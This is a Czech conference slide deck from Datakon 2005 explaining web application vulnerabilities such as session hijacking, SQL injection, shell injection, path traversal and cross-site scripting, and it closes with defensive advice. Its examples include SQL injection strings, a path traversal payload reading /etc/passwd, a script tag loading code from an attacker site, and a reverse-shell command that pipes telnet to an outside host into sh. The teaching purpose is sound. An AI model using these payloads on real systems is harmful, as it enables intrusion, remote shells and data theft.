

Bezpečnostní slabiny WWW aplikací

Pavel Kaňkovský, DCIT s. r. o.

`kan@dcit.cz`

Datakon 2005 — 25. 10. 2005

Obsah

- Úvod
 - co jsou webové aplikace a čím jsou specifické
- Autentizace a správa uživatelských seancí
 - autentizace požadavků
 - ochrana komunikace mezi klientem a serverem
- Důvěra mezi klientem a serverem
 - autorizace požadavků
 - podvržená falešná či upravená data
- Vkládáních řídicích a speciálních dat
 - různá interpretace dat v různých kontextech
 - útoky proti serverům i proti klientům
- Závěr a pár rad do života

Co jsou webové aplikace

- Architektura klient-server
 - vnitřní struktura serveru nás teď nezajímá
- Klient je běžný webový prohlížeč (MSIE, Firefox atd.)
- Uživatelské rozhraní realizováno ve stylu WWW
 - HTML, CSS (XHTML, XSL...)
 - JavaScript (případně Java applety, ActiveX...)
- Komunikace pomocí HTTP a HTTPS přes rozlehlou síť
 - typicky Internet/extranet nebo rozsáhlý intranet
- Nezaměňovat s webovými službami
 - ovšem některé webové aplikace mohou používat webové služby

Bezpečnostní specifika webových aplikací I

- Provoz klientské části obvykle zcela mimo kontrolu „vlastníka aplikace“ (narozdíl od serverové části)
- Klientský software (čili prohlížeč) sdílen různými aplikacemi
 - tyto aplikace si vzájemně nedůvěřují
 - separace aplikací je na bedrech prohlížeče (ehm, ehm...)
- Komunikace probíhá skrz nedůvěryhodné prostředí
 - klient → domácí Wi-Fi → ISP klienta → páteřní síť 1 → páteřní síť 2 → ISP serveru → server (tady to může pokračovat)
- Data jsou při zpracování různě kódována a dekodována
 - databáze → XML → XHTML → HTTP → DOM → uživatel
 - uživatel → DOM → URL encoding → HTTP → SQL → databáze

Bezpečnostní specifika webových aplikací II

- Webové aplikace jsou často přístupné širokému okruhu osob
 - veřejně přístupná celá aplikace (anonymně, s otevřenou registrací)
 - veřejně přístupný vstupní bod (přihlašovací formulář)
- V mnoha případech jsou zpřístupňovány interní systémy
 - nepřipravené na provoz ve vysoce rizikovém prostředí!
- Webové aplikace jsou velmi různorodé, často „lidová tvořivost“
 - jak říká kolega Karel Miko: „když máte aplikaci na zakázku, tak máte na zakázku i její chyby“ (včetně bezpečnostních slabin)
 - ovšem standardní aplikace či platformy také nejsou bez chyb
- Útoky obvykle vedeny až na aplikační vrstvě
 - mimo zorné pole obranných mechanismů na nižších úrovních
 - šifrovaná komunikace + firewall (nebo IDS či IPS) = Hlava 22

Identifikace a autentizace uživatelů

- Nejčastější metodou je jméno a heslo zadávané do formuláře
 - všechny klasické problémy s autentizací pomocí hesel
 - „nový problém“ – spyware, keyloggery a podobná havěť
- I špatnou věc (hesla) lze dále pokazit. . . (to platí obecně)
 - absence detekce a prevence hádání hesel
 - rozlišení chybného jména od správného jména a chybného hesla
 - omezení množiny platných hesel (PINy, „horizontální útok“)
 - zapamatovaná hesla v prohlížeči
- Ostatní metody méně časté
 - . . . ale i principiálně kvalitní metody lze pokazit
 - příklad 1: ověřování znalosti privátního klíče pomocí generování digitálního podpisu pro **konstantní** vstup
 - příklad 2: akceptování klientského certifikátu od nevěrohodné CA

Kontext uživatelských seancí

- HTTP je sám o sobě bezstavový protokol
 - neexistuje spolehlivý vztah mezi uživateli, TCP spojeními, IP adresami
 - u každého jednotlivého požadavku je třeba určit, ke které seanci patří
- Řešení: klient do každého požadavku explicitně vkládá identifikátor aktuální seance získaný (obvykle) od serveru
 - cookies – nejčastější metoda, např.
`ASPSESSIONIDQQBSCTSR=GNAGAAHDFODJFLDMEEBBMPNJ`
 - session cookie vs. persistent cookie
 - části URL, např.
`https://www.aplikace.cz/funkce.asp?session=12345678`
`https://www.aplikace.cz/12345678/funkce.asp`
 - skrytá pole formulářů
 - (std. HTTP autentizace apod. – autentizace uživatele při každé operaci)

Útoky na uživatelské seance

- *Session hijacking*: zjistí-li nepřítel identifikátor cizí seance, může do ní vstoupit a provádět operace cizím jménem
- Prozrazení identifikátoru seance
 - odposlouchávání (absence příznaku `secure` u cookie)
 - údaj v hlavičce `Referer` při přechodu na jiné sídlo, historie browseru
- Uhádnutí identifikátoru seance
 - jsou-li generovány predikovatelným způsobem (např. malá celá čísla)
 - někdy lze dokonce vygenerovat zcela fiktivní seanci
- *Session riding*: využití automatického doplňování údajů o seanci (cookies) a možnosti vstoupit „doprostřed“ aplikace
 - nepřítel zmanipuluje browser oběti k přechodu na URL nějaké funkce aplikace (pokud možno destruktivní)
 - zvlášť pikantní v kombinaci s SSO

Ochrana komunikace mezi klientem a serverem

- Kryptografická ochrana komunikace (S v HTTPS) je pro vytvoření bezpečné webové aplikace podmínka většinou nutná, ale **nikoli** postačující.
- Chybné nebo podezřelé certifikáty
 - certifikáty vydané nějakou podivnou CA (nebo rovnou self-signed)
 - certifikáty s již prošlou platností, krátké a slabé klíče
 - špatné kořenové a jiné CA certifikáty
- Mixování zabezpečeného a nezabezpečeného obsahu
 - často při vstupu do aplikace: např. uživatel vstupuje přes `www.aplikace.cz` (HTTP) a je automaticky přesměrován
 - extrém: přechod na HTTPS až po vyplnění přihlašovacího formuláře!
- Uživatelé tomu nerozumí a všechno bez přemýšlení odklikají
 - ... a jsou v tom ještě utvrzováni výše popsanými problémy

Útoky proti důvěřivému serveru

- Klientský software je plně v moci uživatele (i zlého)
 - nepřítel může číst, pozměňovat, modifikovat, odstraňovat, nebo opakovaně používat veškerá data, která jeho klient dostane od serveru, nebo naopak jeho klient posílá na server (HTTPS je bezmocné!)
 - stejně dobře může generovat nová data, ať už odvozená od reálných, nebo zcela fiktivní, a vkládat je do komunikace mezi klientem a serverem
 - může potlačit či zmanipulovat jakékoli operace prováděné na klientovi
- Manipulovat je možno opravdu se všemi daty, se kterými klient pracuje...
 - URL – komponenty cesty, parametry
 - pole formulářů včetně skrytých
 - skryté části HTML dokumentů (komentáře), skripty
 - cookies, další údaje v hlavičkách HTTP (User-Agent)

Manipulace s URL

- *URL tampering*: pozměňování částí existujících URL (zejména parametrů)
- *Forceful browsing*: vynucený přechod na explicitně zadané URL v rámci aplikace bez použití hyperlinku
- Je toto všechno v aplikaci řádně ošetřeno?
 - mějme aplikaci, ve které jsou URL tvaru
`https://www.aplikace.cz/zobraz_zaznam.asp?id=1287`
 - nepřítel může zkusit změnit identifikátor záznamu
`https://www.aplikace.cz/zobraz_zaznam.asp?id=1288`
 - ... také může zkusit hledat staré verze skriptu
`https://www.aplikace.cz/zobraz_zaznam.asp.old`
 - ... nebo najít jiné, běžně nepřístupné funkce
`https://www.aplikace.cz/admin.asp`

Manipulace se skrytými hodnotami

- Nepřítel může změnit jakákoli data, která si u něho server „uschová“
 - skrytá pole ve formulářích, cookies. . .
 - „obfuskace“ není dostatečná ochrana
- Požadavek lze modifikovat i na cestě mezi prohlížečem a serverem
 - mějme aplikaci, kde klient generuje požadavky tvaru (zkráceno)
POST /objednavka.asp HTTP/1.1 ...
Cookie: Zakaznik=**56789**; Nakupni_kosik=1234:Prvn%ED
%20druh%20zbo%BE%ED:**590**:0,2345:Jin%FD%20druh%20zbo
%BE%ED:1990:0, celkem:**2580**

← (prázdný řádek)

operace=pridat_do_kosiku&objcis=3456&nazev=N%ECco
%20%FApln%EC%20jin%E9ho&cena=**17990**&sleva=0
 - co se stane, když nepřítel pozmění některou z označených částí? může nakupovat na cizí účet? může měnit cenu zboží či celého nákupu?

Manipulace s hodnotami ve formulářích

- Nepřítelem může zadat do formulářů jakékoli nesmyslné hodnoty
 - omezení dané strukturou a parametry vstupních polí (max. délky hodnot, výčty hodnot u výběrových polí) lze obejít
 - omezení implementovaná skripty (svázanými s událostmi `onkeypress`, `onblur`, `onsubmit` apod.) lze také obejít
- Je mnoho způsobů, jak obejít kontrolu vstupů na klientovi
 - pozměňování dat během komunikace (viz předchozí slajd)
 - úprava HTML dokumentu obsahujícího formulář
 - manipulace s daty pomocí skriptového debuggeru
 - libovolný prohlížeč umožňuje operativní spouštění vlastních skriptů pomocí URL schématu `javascript:`, např.
`javascript:document.forms[0].cena.value=1,undefined`
`javascript:document.forms[0].submit(),undefined`

Útoky využívající vkládání řídicích dat

- Implementace webových aplikací komunikují různými jazyky
 - SQL při komunikaci s databázemi
 - HTML (+ JavaScript) při posílání dat na klienta
 - a jiné (shell, LDAP, XML, XPath, samotné HTTP...)
- Každý používaný jazyk má specifickou syntaxi a specifické řídicí znaky či sekvence znaků
 - zejména zajímavé jsou značky měnící mód jazyka z dat na příkazy
 - např. apostrofy v SQL, < a > v HTML (a XML) atd.
 - nikdy nevíme, jaká temná zákoutí lze v parseru nalézt
obecná poučka: je třeba explicitně povolovat a ne explicitně zakazovat!
- Kus dat vložený do (kon)textu v některém z těchto jazyků může nabýt naprosto neočekávaného významu
 - ... tedy z pohledu tvůrce dané aplikace

SQL injection I

- *SQL injection*: situace, kdy jsou nedůvěryhodná textová data bez patřičné kontroly vkládána doslova do SQL dotazů či příkazů
 - nepřítel může pozměňovat dotazy a dotazovat se na data, ke kterým vůbec neměl mít přístup (např. čísla cizích kreditních karet)
 - nepřítel může někdy dokonce i data v databázi neoprávněně modifikovat, spouštět programy atd.
- Názorný příklad jednoduché změny dotazu
 - mějme aplikaci, která pro vstup „**Josef Novák**“ vygeneruje dotaz `select * from Osoby where Jmeno='Josef Novák'`
 - předpokládejme, že aplikace je ochotna do dotazu doslovně a beze změny vložit úplně jakákoli vstupní data
 - pokud nepřítel zadá jako vstup „`' or ''='`“ bude výsledkem dotaz `select * from Osoby where Jmeno=' ' or ''='` s podstatně odlišným významem

SQL injection II

- Lze se dotazovat i na jiné tabulky
 - nejlépe použitím spojky `union`, např.
`select * from Osoby where Jmeno = '' and 1=0
union all select 'a', 'b', sloupec1, sloupec2, 'c'
from Tajna_tabulka--'`
 - také lze použít vnořené dotazy, joiny...
 - schéma databáze lze uhádnout nebo zjistit z metadat
- Někdy aplikace vrací jen část požadovaného výsledku dotazu
 - jen několik řádek – postupně iterovat podle hodnot klíče
 - jen několik sloupců – konkatenovat nebo položit víc samostatných dotazů
- *Blind SQL injection*: SQL injection, při které se vrací informace jen postranními kanály (výskyt chyby, doba zpracování požadavku atd.)
 - rozdělit informaci na jednotlivé bity a dotazovat se postupně

SQL injection III

- Vložení apostrofu není nezbytná podmínka
 - nedůvěryhodná data nemusí být obklopena apostrofy (číselné údaje, případně jména sloupců, tabulek atd., i celé části dotazů)
 - viz obecnou poučku o temných zákoutích parseru
- Není třeba se omezovat jen na čtení dat
 - některé dialekty umožňují dotaz transformovat na sekvenci dotazů, DML příkazů, volání uložených procedur aj. (přímo nebo nepřímo přes systémovou funkci à la `xmlgen.getXML` v Oracle)
 - databázové stroje poskytují řadu zajímavých systémových procedur a funkcí (`xp_cmdshell` v MS SQL, balíky `utl_*` v Oracle...)
 - lze útočit na slabiny samotného databázového stroje
 - lze útočit na okolí databázového serveru (často vnitřní síť)

Další možnosti vkládání příkazů

- Sestavování shellových příkazů
 - např. odesílání elektronické pošty na `jmeno@domena.cz` příkazem `/usr/lib/sendmail -oi 'jmeno@domena.cz'`
 - zadáním textu obsahujícího řídicí znak (apostrof, ale pozor na Bash 1.x!) lze do generovaného příkazu vložit další kód, např. „reverzní shell“
`/usr/lib/sendmail -oi 'jmeno@domena.cz'; (sleep 9999|telnet 1.2.3.4 25|sh 2>&1|telnet 1.2.3.4 25) </dev/null >/dev/null 2>&1 &#'`
- Možnost nahrávat na server soubory pod libovolnými jmény a později na ně přistupovat
 - stačí vyrobit skript v patřičném jazyce (např. ASP), nahrát ho na server s vhodným jménem (`xyz.asp`) a přistoupit na odpovídající URL
 - server předložený skript vykoná
- A tak dále...

Manipulace se jmény souborů

- Nedůvěryhodná data mohou být také použita jako jména souborů nebo jejich části
 - soubory se zpracovávají vstupními daty
 - soubory obsahující šablony generovaných stránek
 - totéž se ostatně děje i přímo v běžném HTTP serveru
 - nepřítel může dosáhnout práce se soubory, se kterými se pracovat nemělo (vyzrazení důvěrných dat, poškození souborů, nepřímý útok na kód, který s daty pracuje – tzv. *second order attack*)
- *Path traversal*: úprava používaného jména souboru tak, aby byla při jeho zpracování opuštěna vyhrazená oblast souborového systému
 - mějme např. tuto poměrně frekventovanou konstrukci v jazyce PHP
`if (file_exists...) include("$dir/$parametr.php");`
 - nepřítel zadá parametr `../../../../../../../../etc/passwd%00`
 - kombinace se speciálním významem znaku s kódem 0

HTML injection

- *HTML injection*: situace, kdy jsou nedůvěryhodná textová data bez patřičné kontroly vkládána doslova do generovaných dokumentů v jazyce HTML
 - často se vyskytuje při vypisování stavových (zejména chybových) hlášení, kdy je do dokumentu opsána hodnota zadaných parametrů, např. hlášení „Osoba **Nesmysl** nebyla nalezena!“ se může proměnit na hlášení „Osoba **<tag1>** nebyla nalezena!“
 - lze samo o sobě použít pro vytvoření falešného obsahu dokumentu
 - zejména zajímavá je možnost vkládání skriptů, viz dále
- Odbočka: jak prohlížeč určuje přístupová práva skriptů?
 - zhruba platí, že pokud byl skript získán ze sídla S, pak má přístup ke všemu z S (načtené stránky, cookies, XMLHTTP)
 - tento mechanismus se nazývá *same origin policy* (SOP)

Cross-site scripting I

- *Cross-site scripting* (zkratka XSS): využití HTML injection k „propašování“ skriptů do cizí webové aplikace
 - prohlížeč považuje skript za autentickou součást aplikace a SOP ji přidělí přístup ke zbytku aplikace
 - takový skript může krást jména a hesla, cookies a jiná data
 - může také aktivně provádět operace v rámci aplikace
 - může za chodu přijímat další instrukce
- Skripty lze do dokumentu vkládat různými způsoby
 - základní cesta je tag `<script>`, umožňuje mj. načítat celé soubory ze zadaných URL, např. „Osoba **`<script src="https://www.zly-web.cz/skodic.js">`** nebyla nalezena!“
 - lze použít atributy různých tagů, speciálně `on*`
 - automaticky načítaná URL (obrázky, stylesheety)

Cross-site scripting II

- Pokusy o XSS lze různě maskovat
 - méně obvyklé způsoby kódování textů
 - specifické vlastnosti konkrétních parserů
 - příklad: ``
- Skripty mohou od nepřítele k oběti putovat různými cestami
 - *reflected XSS* – aplikace opisuje své vstupy, oběť musí být např. zmanipulována k návštěvě zvláštního URL
 - *stored XSS* – jeden uživatel aplikace skript vloží do nějakých dat a aplikace ho neopatrně opíše, když si oběť prohlíží data (diskuse, e-mail, e-banking!)
 - *DOM-based XSS* – zvláštní případ, kdy s daty neopatrně manipuluje přímo kód na klientovi (viz též některé nedávné slabiny v Mozille)

Další možnosti vkládání řídicích dat

- *HTTP response splitting*: nepřítel přiměje server, aby do hlavičky (typicky Location) opsal zadaný text včetně konců řádek a tak svou odpověď rozdělil na dvě
 - další dotaz od klienta použije druhou část rozdělené odpovědi
 - otrávení obsahu HTTP keše
 - zrcadlový obraz na straně klienta, tzv. *HTTP request smuggling* (zlý skript + XMLHTTP), též analogický tradiční problém s FTP
- Další dotazovací jazyky
 - LDAP – lze např. měnit dotazovanou třídu objektů
 - XPath – lze poslepu (!) získat celý dokument
- Externí entity v XML
 - XML parser je donucen přečíst zadaný soubor
- A tak dále...

Závěr

- Základním společným rysem většiny popsaných problémů je neopatrná práce s nedůvěryhodnými daty
 - všechna data od klienta (přímo či nepřímo) jsou nedůvěryhodná
 - u všech vstupních dat vždy kontrolovat/zajišťovat syntaxi (formát) i sémantiku (smysluplnost v daném kontextu, přístupová práva)
 - specifikovat povolené hodnoty, nikoli naopak
 - v případě potřeby data kódovat či jinak transformovat, ale opatrně (cvičení: odstraňte „text“ z „tetextxt“)
- Monitorovat anomální stavy a chování aplikace
 - udržet si náskok před nepřítelem
- Existuje mnoho dalších typů slabin, které se vyskytují i ve webových aplikacích, ale nebyly diskutovány
 - klasické problémy jako přetečení pole, race condition...

A to je vše, přátelé...

Dotazy?